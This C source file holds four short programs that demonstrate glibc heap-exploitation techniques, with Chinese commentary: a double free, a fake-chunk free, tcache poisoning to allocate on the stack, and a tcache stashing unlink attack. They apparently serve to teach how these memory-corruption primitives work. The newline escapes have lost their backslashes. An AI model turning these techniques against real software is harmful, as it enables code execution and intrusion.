#include <stdio.h>
#include <stdlib.h>

int main()
{
 fprintf(stderr, "先申请一块内存n");
 int *a = malloc(8);

 fprintf(stderr, "申请的内存地址是: %pn", a);
 fprintf(stderr, "对这块内存地址 free两次n");
 free(a);
 free(a);

 fprintf(stderr, "这时候链表是这样的 [ %p, %p ].n", a, a);
 fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].n", malloc(8), malloc(8));
    fprintf(stderr, "ojbkn");
 return 0;
}

#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr, "fake_chunks[1] 在 %pn", &fake_chunks[1]);
    fprintf(stderr, "fake_chunks[1] 改成 0x40 n");
    fake_chunks[1] = 0x40;
    fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr, "free 掉 an");
    free(a);
    fprintf(stderr, "再去 malloc(0x30)，在可以看到申请来的结果在: %pn", malloc(0x30));
    fprintf(stderr, "ojbkn");
}

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var，我们想让程序 malloc 到这里 %p.n", (char *)&stack_var);

    printf("接下来申请两个 chunkn");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %pn", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %pn", b);

    printf("free 掉这两个 chunkn");
    free(a);
    free(b);

    printf("现在 tcache 那个链表是这样的 [ %p -> %p ].n", b, a);
    printf("我们把 %p 的前 %lu 字节（也就是 fd/next 指针）改成 stack_var 的地址：%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("现在 tcache 链表是这样的 [ %p -> %p ].n", b, &stack_var);

    printf("然后一次 malloc : %pn", malloc(128));
    printf("现在 tcache 链表是这样的 [ %p ].n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %pn", c);
    printf("ojbkn");

    return 0;
}

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr, "stack_var 是我们希望分配到的地址，我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin（即 fake chunk->bk 应该是一个可写的地址）n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr, "修改之后 fake_chunk->bk 是:%pn",(void*)stack_var[3]);
    fprintf(stderr, "stack_var[4] 的初始值是:%pn",(void*)stack_var[4]);
    fprintf(stderr, "现在申请 9 个 0x90 的 chunkn");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr, "先释放 6 个，这 6 个都会放到 tcache 里面n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的，后面的都会放到 unsortedbin 中n");
    
    free(chunk_lis[1]);
    //接下来的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr, "接下来申请一个大于 0x90 的 chunk，chunk0 和 chunk2 都会被整理到 smallbin 中n");
    malloc(0xa0);//>0x90
    
    fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunkn");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "假设有个漏洞，可以把 victim->bk 的指针改写成 fake_chunk 的地址: %pn",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk，他会把一个 smallbin 里的 chunk0 返回给我们，另一个 smallbin 的 chunk2 将会与 tcache 相连.n");
    pp = calloc(1,0x90);
    
    fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中，它的 fd 指针现在指向下一个空闲的块: %p， bck->fd 已经变成了 libc 的地址: %pn",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %pn",(void*)target); 
    fprintf(stderr, "ojbkn");
    return 0;
}